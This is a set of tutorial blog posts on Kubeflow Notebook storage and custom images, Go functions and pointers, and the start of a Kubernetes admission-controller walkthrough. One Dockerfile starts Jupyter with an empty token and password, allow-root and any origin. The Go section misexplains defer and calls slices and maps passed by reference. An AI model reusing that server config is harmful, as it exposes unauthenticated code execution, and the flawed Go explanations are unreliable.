pod/kubeflow-series-part2-0                             AttachVolume.Attach succeeded for volume "pvc-a75855d7-4c2d-4479-a61c-e071e3cb8eaa"
notebook/kubeflow-series-part2                          Reissued from pod/kubeflow-series-part2-0: AttachVolume.Attach succeeded for volume "pvc-a75855d7-4c2d-4479-a61c-e071e3cb8eaa"
pod/kubeflow-series-part2-0                             Container image "docker.io/istio/proxyv2:1.14.1" already present on machine
pod/kubeflow-series-part2-0                             Created container istio-init
notebook/kubeflow-series-part2                          Reissued from pod/kubeflow-series-part2-0: Created container istio-init
pod/kubeflow-series-part2-0                             Started container istio-init
notebook/kubeflow-series-part2                          Reissued from pod/kubeflow-series-part2-0: Started container istio-init
pod/kubeflow-series-part2-0                             Pulling image "kubeflownotebookswg/jupyter-scipy:v1.6.0-rc.1"
notebook/kubeflow-series-part2                          Reissued from pod/kubeflow-series-part2-0: Pulling image "kubeflownotebookswg/jupyter-scipy:v1.6.0-rc.1"
pod/kubeflow-series-part2-0                             Successfully pulled image "kubeflownotebookswg/jupyter-scipy:v1.6.0-rc.1" in 34.013384426s
notebook/kubeflow-series-part2                          Reissued from pod/kubeflow-series-part2-0: Successfully pulled image "kubeflownotebookswg/jupyter-scipy:v1.6.0-rc.1" in 34.013384426s
pod/kubeflow-series-part2-0                             Created container kubeflow-series-part2
notebook/kubeflow-series-part2                          Reissued from pod/kubeflow-series-part2-0: Created container kubeflow-series-part2
pod/kubeflow-series-part2-0                             Started container kubeflow-series-part2
pod/kubeflow-series-part2-0                             Container image "docker.io/istio/proxyv2:1.14.1" already present on machine
notebook/kubeflow-series-part2                          Reissued from pod/kubeflow-series-part2-0: Started container kubeflow-series-part2
notebook/kubeflow-series-part2                          Reissued from pod/kubeflow-series-part2-0: Container image "docker.io/istio/proxyv2:1.14.1" already present on machine
pod/kubeflow-series-part2-0                             Created container istio-proxy
notebook/kubeflow-series-part2                          Reissued from pod/kubeflow-series-part2-0: Created container istio-proxy
pod/kubeflow-series-part2-0                             Started container istio-proxy
notebook/kubeflow-series-part2                          Reissued from pod/kubeflow-series-part2-0: Started container istio-proxy
```

There are indeed quite a lot of things happening when you create a single Notebook Server but given what we already know let me draw your attention to these log lines in particular:

```
statefulset/kubeflow-series-part2                       create Pod kubeflow-series-part2-0 in StatefulSet kubeflow-series-part2successful
...
persistentvolumeclaim/kubeflow-series-part2-volume      Successfully provisioned volume pvc-a75855d7-4c2d-4479-a61c-e071e3cb8eaa
...
pod/kubeflow-series-part2-0                             AttachVolume.Attach succeeded for volume "pvc-a75855d7-4c2d-4479-a61c-e071e3cb8eaa"
...
pod/kubeflow-series-part2-0                             Pulling image "kubeflownotebookswg/jupyter-scipy:v1.6.0-rc.1"
...
pod/kubeflow-series-part2-0                             Successfully pulled image "kubeflownotebookswg/jupyter-scipy:v1.6.0-rc.1" in 34.013384426s
notebook/kubeflow-series-part2                          Reissued from pod/kubeflow-series-part2-0: Successfully pulled image "kubeflownotebookswg/jupyter-scipy:v1.6.0-rc.1" in 34.013384426s
pod/kubeflow-series-part2-0                             Created container kubeflow-series-part2
pod/kubeflow-series-part2-0                             Started container kubeflow-series-part2
...
```

This edited piece of the logs is a ton easier to interpret and here is what this tells us about the notebook server creation process:

- Kubeflow first creates a StatefulSet in which the pods for our Notebook Server is created
- A pod is created for our Notebook Server `kubeflow-series-part2-0` which is where our code runs
- A dedicated Persistent Volume Claim (we talk more about this soon) is attached to this pod which is where our home directory when using the notebook server resides
- Our Notebook Server uses the image we put in, in this example `kubeflownotebookswg/jupyter-scipy:v1.6.0-rc.1` and starts a container in the pod

A notebook server can be attached to a dedicated persistent volume claim and a shared persistent volume claim. The dedicated persistent volume claim acts as your home directory, where you would by default run your experiments or store artifacts. Whereas the shared persistent volume claim is mounted across all notebook servers and could be used to share datasets. We will take a greater look at what exactly persistent volume claims solves in Kubernetes Notebooks in the next section.

## Storage volumes for Notebook Servers

A StatefulSet assigns unique identifiers to each pod and allows you to easily store and track data in a persistent data volume, however, this is a completely separate entity and has an independent lifecycle from the pods. The persistent volume is a cluster resource like a node inside the cluster. This abstracts out a lot of details on how storage is provided from how it is consumed, it retrieves data needed for analysis from the main storage and writes back changes as needed

The persistent data volume is connected to a particular pod by a persistent volume claim, these allow a user to consume abstract storage resources. In the instance, you delete the notebook server the data still persists in the persistent data volume assigned to that pod and if a new notebook server is created, it would be able to access the same data from the same persistent data volume.

![image.png](/img/blog/kubeflow-notebooks-ml-experimentation-made-easier-part-2/FX_8byQFb.png align="left")
Notebook Servers and Storage

> It (Persistent Volume Claims) is similar to a Pod. Pods consume node resources and PVCs consume PV resources. Pods can request specific levels of resources (CPU and Memory). Claims can request specific size and access modes (e.g., they can be mounted ReadWriteOnce, ReadOnlyMany or ReadWriteMany

> [kubernetes.io](https://kubernetes.io/docs/concepts/storage/persistent-volumes/)

To set up a shared storage volume, we first need to create a Kubernetes [StorageClass](https://kubernetes.io/docs/concepts/storage/storage-classes/), ideally, you would want your storage class to provide dynamic provisioning. Here is a simple example of creating a Portworx Volume adapted from Kubernetes Documentation:

```yaml
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: portworx-io-priority-high
provisioner: kubernetes.io/portworx-volume
parameters:
  repl: "1"
  snap_interval:   "70"
  priority_io:  "high"
```

Once, a StorageClass (many clouds often provide default storage classes too which you can use just in the same manner) is created we can configure the Persistent Volume Claims while creating a Notebook Server using the "Add New Volume" option, here's an example on how you could do this with the UI:

![create-volume.PNG](/img/blog/kubeflow-notebooks-ml-experimentation-made-easier-part-2/da7KXVCT_.PNG align="left")
Create a new volume with the UI

Or you could also define these with a YAML specification:

```yaml
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: shared-claim
  namespace: kubeflow-user-example-com
  annotations:
    volume.beta.kubernetes.io/storage-class: portworx-io-priority-high
spec:
  accessModes:
    - ReadWriteMany
  resources:
    requests:
      storage: 8Gi
```

Kubeflow allows you to easily manage volumes with the Kubeflow UI as well:

![image.png](/img/blog/kubeflow-notebooks-ml-experimentation-made-easier-part-2/9YI7yycrb.png align="left")
Manage Volumes with the Kubeflow UI

As I showed earlier apart from the shared storage volumes, a notebook server would also have a dedicated volume.

## Customize your Notebook Server

In the last section, we talked about creating notebook servers and how you can use pre-built images for your notebook server. However, you might have observed that you are not limited by pre-built images you could also specify your own custom image you would want to use. Let us take a look at how you can create images for Kubeflow Notebooks.

Kubeflow Notebooks natively supports three types of notebooks, JupyterLab, RStudio, and Visual Studio Code however you could use any other web-based IDE in your custom image. You can find a list of pre-built notebook images [here](https://github.com/kubeflow/kubeflow/tree/master/components/example-notebook-servers) as well as the base notebook servers one could extend on [here](https://github.com/kubeflow/kubeflow/tree/master/components/example-notebook-servers#images--base).

The Kubeflow documentation provides a comprehensive list of what the custom images need to be able to run with Kubeflow Notebooks. For Kubeflow Notebooks to work with a container image, the image must:

- expose an HTTP interface on port `8888`:
  - kubeflow sets an environment variable `NB_PREFIX` at runtime with the URL path we expect the container be listening under
  - kubeflow uses IFrames, so ensure your application sets `Access-Control-Allow-Origin: *` in HTTP response headers
- run as a user called `jovyan`:
  - the home directory of `jovyan` should be `/home/jovyan`
  - the UID of `jovyan` should be `1000`
- start successfully with an empty PVC mounted at `/home/jovyan`:
  - kubeflow mounts a PVC at `/home/jovyan` to keep state across Pod restarts

Here is an example of building an image on top of the Jupyter base image but with 2 additional packages: `tensorflow` and `fast-transformer`:

```dockerfile
FROM public.ecr.aws/j1r0q0g6/notebooks/notebook-servers/jupyter:v1.5.0

RUN python3 -m pip install \
tensorflow==2.5.3 \
fast-transformer==0.2.0
```

You can then build this image and push it with any tool, here we will use Docker:

```sh
TAG=0.1.0

docker build \
-t jupyter-tensorflow-example:${TAG} \
--f jupyter-tensorflow-example.Dockerfile . 

docker push ...
```

It is recommended to build on top of any of the base images however you are not limited to doing so. Let us see how you can create an image without using any of the base images. Here is another example which achieves to get the same 2 packages but does not use the base images:

```dockerfile
FROM ubuntu:22.04

RUN apt-get update &amp;&amp; apt-get install -y \
python3 \
python3-pip

RUN python3 -m pip --no-cache-dir install --upgrade \
"pip&lt;20.3" \
setuptools

RUN python3 -m pip install --no-cache-dir \
jupyter \
tensorflow==2.5.3 \
fast-transformer==0.2.0

RUN apt-get install -y --no-install-recommends \
git \
libgl1-mesa-glx

EXPOSE 8888

ENV NB_PREFIX /

CMD ["bash","-c", "jupyter notebook --notebook-dir=/home/jovyan --ip=0.0.0.0 --no-browser --allow-root --port=8888 --NotebookApp.token='' --NotebookApp.password='' --NotebookApp.allow_origin='*' --NotebookApp.base_url=${NB_PREFIX}"]
```

In the same manner, as demonstrated earlier, you can build this image and push it with any tool.

![images.png](/img/blog/kubeflow-notebooks-ml-experimentation-made-easier-part-2/_e-cV7Yel.png align="left")
Using your own images

Once you do so, you can easily use this image while creating a new Notebook server as shown in this image.

## How does Kubeflow support collaboration?

In the context of Kubeflow Notebooks, Kubeflow also supports role-based access control for fine-grained access to the Notebooks. A Notebook Server is a part of a Kubeflow namespace. Thus, even though Kubernetes does not have multitenancy ingrained, Kubeflow Notebooks brings multi-user isolation with namespaces and role-based access control it supports right out of the box.

Since the Kubeflow Notebook Server is based on a container image, it comes with the libraries, frameworks, and tools needed for the instance of Kubeflow Notebooks. You can easily create multiple different notebook servers according to your need for example: for training, you could have a TensorFlow GPU image while using a CPU-based image with different libraries for analyzing the dataset.

Here's a great diagram taken from [kubeflow.org](https://www.kubeflow.org/docs/components/multi-tenancy/design/) that shows multi-tenancy in Kubeflow:

![image.png](/img/blog/kubeflow-notebooks-ml-experimentation-made-easier-part-2/XmVWWIK5Ae.png align="left")

### The Notebook ServiceAccount

When you create a new notebook Kubeflow by default assigns that Notebook pod the `default-editor` Kubernetes ServiceAccount. To better understand what this means for you as a user, you could run:

```sh
kubectl describe clusterrole kubeflow-edit
```

since the `default-editor` role is bound to the `kubeflow-edit` ClusterRole.

If you see the output for this command, we see that when running code in the Notebook Pod, you have the highly-privileged `default-editor` Kubernetes ServiceAccount bound to it and you can submit Kubernetes Resources in a notebook as well. This allows you to have great integration with the rest of the Kubeflow architecture.

## Conclusion

Thank you for sticking with me until the end. I hope that you've taken away a thing or two about Kubeflow Notebooks, and how they work, and enjoyed reading this. If you learned something new or enjoyed reading this article, please share it so that others can see it. Until then, see you in the next post!

We will take forward what we talk about in this article in the next article in this series where we will take a deeper dive into Kubeflow Pipelines, until then, adieu!

You can also find me on Twitter [@rishit_dagli](https://twitter.com/rishit_dagli), where I tweet about machine learning, and open-source.

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Let's Simplify Golang : Part 3

- Canonical: https://blog.kubesimplify.com/lets-simplify-golang-part-3
- Published: 2022-08-05

This blog is part of the **Golang** series. 
[Part1](https://kubesimplify.com/lets-simplify-golang-part-1)
[Part2](https://kubesimplify.com/lets-simplify-golang-part-2). Check them out if you haven't already. 

# Functions

- A Function is a mapping between zero or more parameters for the input and zero or more parameters for the output.
- Functions are self-contained units of code that carry out a certain job.
- They help us divide a program into small manageable, repeatable, and organizable chunks of code rather than a big pile of code.
- Functions in Go can be assigned to variables, passed as an argument and can be returned from another function.

![fncfnc.jpg](/img/blog/lets-simplify-golang-part-3/zq89JxK7h.jpg align="left")

For example, we have the **len** function to calculate the length of a slice. Here, the input for this length function is a slice. The function then does some processing to calculate the length and then returns to us the number of elements present in that slice.

---

## Why use Functions?

- **Reusability**: You define a function once and then can call it multiple times in your code.
- **Abstraction**-Functions can be used to extract the inner implementations.

---

## Functions Syntax

In Golang, functions inform the compiler and the programmer about the types of input and output that the function will accept.

Syntax:
```.go
func <function_name>(<parameters>) <return type>  {
// body of the function
}
```

- In Go, a function declaration starts with the **func** keyword, which is followed by the **name of the function**.
- The function name is further followed by a *pair of parentheses*. This set of parentheses includes our input variables for this function. The input variables are also known as input parameters. 
- We might then have a return value.
- The opening brace signifies the start of the function body, which is terminated by the closing bracket, and we have the function body within them.
- The very first line of the function is known as the "Function Signature". It includes the function name, its arguments, and the return type.
- So, we can say a function has two parts: the "function signature" and the "function body".

Example :
```.go
func addNumbers(a int, b int) int  {
// body of the function
}
```

A good example of this would be a simple function to add two numbers. We have our func keyword, the name of the function as addNumbers in this case, and then we have our input variables. This function takes two numbers as inputs. Then we have a return value, which is of type int, following which we have our curly braces, and they contain the body of the function.

The above function can be visualized with the diagram below.

![inputout.jpg](/img/blog/lets-simplify-golang-part-3/MyxkWeTOP.jpg align="left")

We have **a** and **b** as a set of inputs, and we have a **sum** as an output. The sum would be of an integer data type.

---

## Return Keyword

- The **return** keyword is used to return from a function when its execution is complete.
- When a return statement is reached in a function, the program returns to the code that invoked or called that function.
- A function can return a value or not even return anything.
- If we have a function with return type int, it means that in our function body we would have a statement that returns an int. See the example below.

```.go
func addNumbers(a int, b int) int  {
sum := a + b
        return sum
}
```
We have first calculated the sum of `a` and `b` and then have written the `return sum`. Since a and b both are integers, the sum variable would be an integer itself. Hence, when we say return sum, we have also specified in a function declaration that we are returning an integer datatype.

---

## Calling a Function

We now know how to define functions, but how do we call them or invoke them when we need them?

Syntax:
```.go
<function_name>(<argument(s)>)
```

First, we write the name of the function, add parenthesis after the function's name, and inside the parenthesis, we add any arguments or inputs that the function requires
separated by commas.

For addNumbers function, you could specify the name of the function and then two integers as input. Example - ` addNumbers(2, 3) `

To receive the values returned by a function, we can store them in variables.
```.go
sumOfNumbers := addNumbers(2, 3)
```
Above, we have stored the sum that is returned by our addNumbers function in our variable *sumOfNumbers*.

---

## Naming Convention for Functions

- A function name must begin with a letter.
- It cannot start with a number.
- It can have any number of additional letters and symbols.
- It cannot contain spaces.
- It is case-sensitive. (function, Function, and FUNCTION are three different functions) 
- Each word after the first in a function name that has two or more words should be capitalised. More specifically, in a compound word, we must use camelCase conventions. (e.g. nameOfTheFunction)

> Few Invalid Function Names Examples

- 3sum
- sum numbers

> Few Valid Function Names Examples

- sum3
- sumNumbers

---

## Parameters vs Arguments

- The **parameters** are the variables that we can define in the function declaration.
- The **arguments** are the variables that we can define in the function call statement for execution. 

| Arguments         | Parameters |
|:--------------:|:-----:|
| In function call statements, we used the arguments to pass values from the calling function to the receiving function. | We used the local variables in the function declaration to obtain the value from the arguments. |        
|  They are also known as Actual Parameters.  |  They are also known as Formal Parameters. |        

![PAPAPAPA.jpg](/img/blog/lets-simplify-golang-part-3/1unq5O3_P.jpg align="left")

- We have two kinds of parameters
   - **Input parameters** - They pass values into functions. 
   - **Output parameters** - They return values from a function.

Example:

```.go
package main
import "fmt"

func printGreeting(str string) {
        fmt.Println("Hey there,", str)
}

func main() {
         printGreeting("KubeSimplify")
}

Output:

Hey there, KubeSimplify
```

---

## Return Types

### Returning Single Value

We already know how to use functions to return a single value.
```.go
func add Numbers(a int, b int) int  {
sum := a + b
        return sum
}
```

> Note:- The return value must match the function signature. If not, we get a **type mismatch error**.

---

### Returning Multiple Values

In Go, a function can return multiple values. When we want to return a value from a function, we need to add the otherwise optional return type in the function declaration. Go makes it possible to return multiple values from a single return statement. 

```.go
package main
import "fmt"

func operation(a int, b int) (int, int) {
  sum := a + b
  diff := a - b
  return sum, diff
}

func main() { 
  sum, difference := operation(20, 10)
  fmt.Println(sum, difference)
}

Output:

30  10 
```

- In the above example, we have a function called operation. It takes two input parameters, both of them being integers.
- The function operation returns the sum and the difference between the two input integers. 
- The return types are mentioned in the declaration. 
- The statement containing the return values is also known as the terminating statement, as the function will terminate and return to where it was called from the moment this statement is encountered.
- Both return values are stored in the main function.

---

## Named Return Values

```.go
package main
import "fmt"

func operation(a int, b int) (sum int, diff int) {
  sum = a + b
  diff = a - b
  return 
}

func main() { 
  sum, difference := operation(20, 10)
  fmt.Println(sum, difference)
}

Output:

30  10 
```

- Golang allows giving the names to the return or result parameters of the functions in the function signature or definition.
- Note how we did not use the shorthand operator in the above example to declare and initialize these variables because they've been already declared in the function signature.
- As a result, the need to provide the variable names in the return statement is basically eliminated.
- The only way to return the result to the caller when using named return parameters is to use the return keyword at the end of the function.
- In the above example, we did not need to mention any variable name after the return statement because, in a function declaration, we've already given the name of the parameters that we want to return.
- This concept is generally used when a function has to return multiple values.
- For the user's comfort, and to enhance the code readability, Golang provides this facility.

---

## Variadic Functions

- Variadic functions are functions that accept variable number of arguments.
- In Go, it is possible to pass a varying number of arguments of the same data type as referenced in the function signature.
- To declare a variadic function, the type of the final parameter should be preceded by an ellipsis,". . ."
- we will be discussing it in the example in more detail.

> For the declaration of the variadic function, the type of the last parameter is preceded by an ellipsis, that is three dots. It indicates that the function can be called at any number of parameters of this type. There can be any number of parameters in a function, but if you want to use variadic parameters, you'll have to place them at the end.

Syntax :
```.go
func <func_name>(param-1 type, param-2 type, para-3 ...type) <return_type>
```

Example:
```.go
func sumNumbers(numbers ...int) int
```
In the above example, the function signature accepts an arbitrary number of arguments of the type int. The function will accept zero or more integers, and within the function, the numbers variable will contain a slice of all the arguments.

In simple terms, we can say that all the integer arguments passed will be stored in a slice called numbers.

```.go
func sumNumbers(str string, numbers ...int) 
```

In the above example, we have two parameters: a string and multiple integers. The variadic parameter is placed towards the end.

Example :
```.go
package main
import "fmt"

func sumNumbers(numbers ...int) int {
      sum := 0
      for _, value := range numbers {
            sum += value
      }      
     return sum
}

func main() {

        fmt.Println(sumNumbers())
        fmt.Println(sumNumbers(10))
        fmt.Println(sumNumbers(10, 20))
        fmt.Println(sumNumbers(10, 20, 30, 40, 50))
}

Output:

0
10
30
150
```

---

## Blank Identifier `_`

- The blank identifier is the single underscore operator.
- It is used to ignore the values that are returned by functions.

> We have already used `_` using the range function for looping.

Example:
```.go
package main
import "fmt"

func f() (int, int) {
        return 42, 53
}

func main() {
        v , _ := f()
        fmt.Println(v)
}

Output:

42
```

---

## Recursive Functions 

- Recursion is a concept where a function calls itself by direct or indirect means.
- The function keeps calling itself until it reaches a base case.
- It is generally used to solve a problem where the solution is dependent on the smaller instance of the same problem.

Example: factorial(5) = `5 * 4 * 3 * 2 * 1`
```.go
package main
import "fmt"

func factorial(n int) int {

        // Base Case
        if n == 0 {
             return 1
        }
       return n * factorial(n-1)
}

func main() {
         n := 5
         result := factorial(n)
         fmt.Println("Factorial of", n, "is :", result)
}

Output:

Factorial of 5 is : 120
```

Let's see how recursion is going to work for calculating the factorial of five.

![factorial.jpg](/img/blog/lets-simplify-golang-part-3/Kle8chRUo.jpg align="left")

---

## Anonymous Functions

- An anonymous function is a function that is declared without any named identifier to refer to it.
- They can accept inputs and return outputs, just as standard functions do.
- They can be used for containing functionality that need not be named and possibly for short-term use.

Example:
```.go
package main
import "fmt"

func main() {

        x := func(l int, b int) int {
            return l * b
        }
        fmt.Printf("%T \n", x)
        fmt.Println(x(20, 30))
}

Output:
 
func(int, int) int 
600
```

Example:
```.go
package main
import "fmt"

func main() {
        x := func(l int, b int) int {
        return l * b
        }(20, 30)
        fmt.Printf("%T \n", x)
        fmt.Println(x)
}

Output:

int
600
```

---

## Defer Statement

- A defer statement delays the execution of a function until the surrounding function returns.
- The deferred call's arguments are evaluated immediately, but the function call is not executed until the surrounding function returns.

Example:
```.go
package main
import "fmt"

func printName(str string) {
        fmt.Println(str)
}
func printRollNo(rno int) {
        fmt.Println(rno)
}
func printAddress(adr string) {
        fmt.Println(adr)
}

func main() {
        printName("Joe")
        defer printRollNo(23)
        printAddress("street-32")
}

Output:

Joe
street-32
23
```

In the above example, we have created a function called printName, and it simply prints the input string, then we have a function called printRollNo and printAddress.

Now, in our main function, we first call the printName function, then the printRollNo function, and then printAddress function. Before calling our printRollNo function, we've mentioned the defer keyword. *The defer statement will delay the execution of the printRollNo function now until the surrounding function returns.

When we run our program, we get this output.
```
Joe
street-32
23
```

What happens there is, first, the control goes to the printName method, and we're passing the string, Joe, it calls the printName function, and we get Joe in the output.
The next line in the control is defer printRollNo. Now, we are going to wait until the surrounding function returns. The surrounding function is the printAddress function.
In this case, the printAddress is called, and we get street-32 in the output. Now, since the surrounding function has returned, it's time to call a printRollNo function. This call will be executed and we will get 23 in the output.

---

# Pointers

- When we talk about memory management in programming, we generally deal with RAM, random access memory.
- Whenever a variable is declared a certain amount of memory in the RAM is allocated for it and it is based on the data type of the variable being used in the program.
- This memory allocation is done while the program is running and hence the variables
might get a different address every time a program is run.
- A pointer is a variable that holds the memory address of another variable.

For example, we have a variable x and we have a pointer that stores the address of variable x.

![pointtt.jpg](/img/blog/lets-simplify-golang-part-3/oZk15UdMK.jpg align="left")

As we can see that x was stored in the memory address 0x0301. When you declare a pointer ptr it also stores the memory address of x which is 0x0301.

> Why are pointers considered special variables? 

Because they do not only hold memory addresses but they also point out where this memory is located and provide ways to find or even change the value that's located at that memory location.

---

## Address and Dereference Operator

Let's discuss the two most common pointer operators: the **address**
and the **dereference** operator. 

- ** & operator ** - The address of a variable can be obtained by preceding the name of a variable with an ampersand sign (&), known as **the address-of operator**.
- ** * operator ** - It is known as **the dereference operator**. When placed before an address, it returns the value at that address. It is denoted by the asterisk sign (*).

Let us understand these operators with an example.

![popopo.jpg](/img/blog/lets-simplify-golang-part-3/P6HQt8yoL.jpg align="left")

First, we have a variable x that's assigned the value 77. Now, of course, this variable is going to take up some memory, and hence, it also has a memory address. 

If we write `&x`, it would give us the address of x. That is 0x0301 in the above example.`&x = 0x0301`

And if we write asterisk and then the address, so we are trying to dereference the address over here, it would give us the value at that address, which is the value of x, 77.`*0x0301 = 77`

Example:
```.go
package main
import "fmt"

func main() {
         i := 10
         fmt.Printf("%T %v \n", &i, &i)
         fmt.Printf("%T %v \n", *(&i), *(&i))
}

Output:

*int 0xc00018c008 
int 10
```

## Declaring a Pointer

We can declare a pointer using the syntax below.

```.go
var <pointer_name> *<data_type>
```
- First, we have the **var** keyword, the **name of the pointer**, and an **asterisk**. This asterisk is used for declaring a pointer. *(Do not confuse it with the dereference operator)*. Then we have the **data type of the pointer**. This is the data type of the variable, whose address we want to store. 

Example: 
```.go
var ptr_i *int

var ptr_s *string
```

Example:
```.go
package main
import "fmt"

func main() {
         var i *int
         var s *string
         fmt.Println(i)
         fmt.Println(s)
}

Output:

<nil>
<nil>
```
> Zero value of a pointer is nil.

---

## Initializing a Pointer

We can initialize a pointer using the syntax below.

```.go
var <pointer_name> *<data_type> = &<variable_name>
```

First, we have the var keyword, the name of the pointer, asterisk, the data type of the variable, whose address we need to store, the assignment operator, ampersand sign, and the variable name. Ampersand and the variable name, basically, give us the address of that particular variable. Hence, we are storing that address in a pointer.

Example:
```.go
i := 10
var ptr_i *int = &i
```

We've created variable **i**, and then we have created a pointer to store the address of this variable.

We have one more method of initializing a pointer, which is shown in below.
```.go
var <pointer_name> = &<variable_name>
```

In this case, we have the var keyword and we have the pointer name, but we will not use the asterisk sign and the data type. In this case, the data type will be internally determined by the compiler, as we are initializing the variable with the address of another variable. 

Example: 
```.go
s := "hello"
var ptr_s = &s
```

The next method is to use the shorthand operator. In this case, we skip the var keyword as well, but we have to use the shorthand declaration operator and it will store the address of the variable. 

Example:
```.go
s := "hello"
var ptr_s = &s
```

Example:
```
package main
import "fmt"

func main() {
        s := "hello"
        var b *string = &s
        fmt.Println(b)
        var a = &s
        fmt.Println(a)
        c := &s
        fmt.Println(c)
}

Output:

0xc000010230
0xc000010230
0xc000010230
```

---

## Passing by Value in Functions

- There are two ways of passing arguments to a function: **Passing by value** and **passing by reference**.
- Passing by value in functions means that the function is called by directly passing the value of the variable as an argument.
- The parameter is copied into another location of your memory.
- When accessing or modifying the variable within a function, only the copy is accessed or modified, and hence the original value is never modified.
- Passing by value is usually how we pass values to functions.

> **All basic data types** like integer, float, boolean, and string are **passed by value**.

Let us understand passing by value with an example.

```.go
func modify(a int) {
         a += 100
}

func main() {
         a := 10
         fmt.Println(a)
         modify(a)
         fmt.Println(a)
}
```

First, we have created a variable called **a** inside our main function. It takes up some memory and has a memory address. We then have a function called *modify*. When we call modify by passing **a** as an argument, the value of A is copied at some other place in the memory, and any change in the parameter inside the function would not affect the original value of A, that is 10. 

![exampl.jpg](/img/blog/lets-simplify-golang-part-3/IvjarG4_n.jpg align="left")

Example:
```.go
package main
import "fmt"

func modify(s string) {
        s = "world"
}

func main() {
         a := "hello"
         fmt.Println(a)
         modify(a)
         fmt.Println(a)
}

Output:

hello
hello
```

---

## Passing by Reference in Functions

- Go supports pointers, allowing you to pass references to values within your program.
- In a call by reference or pointer, the address of the variable is passed into the function call as the actual parameter.
- All the operations in the function are performed on the value stored at the address
of the actual parameters and hence, the modified value gets stored at the same address.

> **Slices** and **Maps** are **passed by reference** by default.

Let us understand passing by reference with an example.


```.go
func modify(s *string) {
       *s = "world"
}

func main() {
        a := "hello"
        fmt.Println(a)
        modify(&a)
        fmt.Println(a)
}
```

- We have created a variable **a**, inside our main function. It takes up some memory and has a memory address. 
- Then we call modify, we are passing the address of **a** variable in this case. 
- We are storing this address in our *input parameter* **s**, which is a pointer in the modify function. 
- This makes s store the address of an original variable a or in simple terms, the pointer s is now pointing to the same location. 
- Any change in the parameter inside the function, would also affect the original value of a, and hence, a value changes from hello to world. 
- This happens because ampersand a and s, are basically two different pointers that are pointing to the same location. 
- This is how we can use pointers to *pass a variable by reference*, so *any change inside the function will also affect the original variable*.

Example:
```.go
package main
import "fmt"

func modify(s *string) {
         *s = "world"
}

func main() {
        a := "hello"
        fmt.Println(a)
        modify(&a)
        fmt.Println(a)
}

Output:

hello
world
```

---

If you have reached it so far, thanks for a reading mate 🤝 


Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# DIY: How To Build A Kubernetes Policy Engine

- Canonical: https://blog.kubesimplify.com/diy-how-to-build-a-kubernetes-policy-engine
- Published: 2022-07-28

## TL;DR Code

As usual, here is the link to the code! 

%[https://github.com/dirien/kubernetes-diy-policy-engine]

## Introduction

In this blog post, we want to use one of the biggest advantages of Kubernetes: The huge ability to be super expandable. How to better show this superpower in action, then to write a dynamic admission controller?

But before we start, we need to talk about the concept of admission controllers and how they work

### What is an admission controller?

An admission controller is a piece of code that intercepts requests to the Kubernetes API server prior to persistence of the object, but after the request is authenticated and authorized. There are two special controllers:

`MutatingAdmissionWebhook` and `ValidatingAdmissionWebhook`. These execute the mutating and validating (respectively)
admission control webhooks, which are configured in the API.

Admission controllers may be "validating", "mutating", or both. Mutating controllers may modify related objects to the
requests they admit; validating controllers may not.

Admission controllers limit requests to create, delete, modify objects or connect to proxy. They do not limit requests
to read objects.

The admission control process proceeds in two phases. In the first phase, mutating admission controllers are run. In the
second phase, validating admission controllers, are run.

If any of the controllers in either phase reject the request, the entire request is rejected immediately and an error is
returned to the end-user.

![image.png](/img/blog/diy-how-to-build-a-kubernetes-policy-engine/kWwMR78Ot.png align="center")

## Prerequisites

In this blog article, I am going to use the following tools:

- minikube
- golang 1.18
- make
- ko

### Minikube

![image.png](/img/blog/diy-how-to-build-a-kubernetes-policy-engine/HlsT78F3M.png align="left")

`minikube` quickly sets up a local Kubernetes cluster on macOS, Linux, and Windows. I will use it to deploy my admission
controllers onto it. You could use of course any other cluster provider.

Check the great documentation and installation guide here: https://minikube.sigs.k8s.io/docs/start/

As I am using a macOS machine, I will install the `minikube` binary via [Homebrew Package Manager](https://brew.sh/) .

```bash
brew install minikube
```

### Golang 1.18

![image.png](/img/blog/diy-how-to-build-a-kubernetes-policy-engine/bJRB7Kg1Z.png align="center")

As programming language of my choice, I am using [Golang](https://go.dev/) in version 1.18. You can of course use any
other programming language as you just communicate with the Kubernetes API server. I like to use Golang because it has
already a good ready to use Kubernetes libraries. The reason is quite simple: Kubernetes is written in Golang too!

### Make

I use `Make` to perform my build and deployment tasks. This is really down to my own taste. If you build your own
admission controllers, you can of course the tool of your choice.

### ko

![image.png](/img/blog/diy-how-to-build-a-kubernetes-policy-engine/Pht_ty6f7.png align="left")

To build my container images, I am going to use [ko](https://github.com/google/ko). I love this project because I don't
need to write any Dockerfile. With a simple command, it will build a container image for me, create an SBOM and push it
directly to my container registry. And this is much better than writing a Dockerfile.

> ko is working only with golang projects.

And that's it from the tools I need to be able to build my admission controllers. Yes, of course, you should use in a
real production environment also a version control system and some pipelines to build your admission controllers. For
the sake of this blog post, I will just make everything manually.

Don't do this at home :D

## Write a validating admission controller

The validating admission controller, is currently only validating that pods who store their container image in `Docker Hub` are scheduled. It's a simple example, but a still common use case. You may run your own private container registry and what to be sure that only this registry is allowed in your cluster.

### Coding the validating admission controller

If you need to build an admission controller program down, I would say that It's not much more than a web server. And this is also the first parts of the code we're going to write:

```go
func runValidatingWebhookServer(tlsCert, tlsKey string, port int) error {
	logger.Print("Starting DIY validating webhook server")
	cert, err := tls.LoadX509KeyPair(tlsCert, tlsKey)
	if err != nil {
		logger.Fatal(err)
	}

	http.HandleFunc("/validate", validate)
	server := http.Server{
		Addr: fmt.Sprintf(":%d", port),
		TLSConfig: &tls.Config{
			Certificates: []tls.Certificate{cert},
		},
		ErrorLog: logger,
	}

	if err := server.ListenAndServeTLS("", ""); err != nil {
		logger.Panic(err)
	}
	return nil
}
```

We pass the location of the TLS certificates via the `cobra` library as CLI flags to our binary. [Cobra](https://github.com/spf13/cobra) is a library for creating powerful modern CLI applications.

```go
...
var rootCmd = &cobra.Command{
	Use:   "validating-webhook",
	Short: "Kubernetes DIY validating webhook",
	Long: `Kubernetes DIY validating webhook.
Example:
validating-webhook --port <port> --tls-cert <tls_cert> --tls-key <tls_key>`,
	RunE: runValidatingWebhook,
}

...
func init() {
	rootCmd.Flags().String("tls-cert", "", "TLS Certificate")
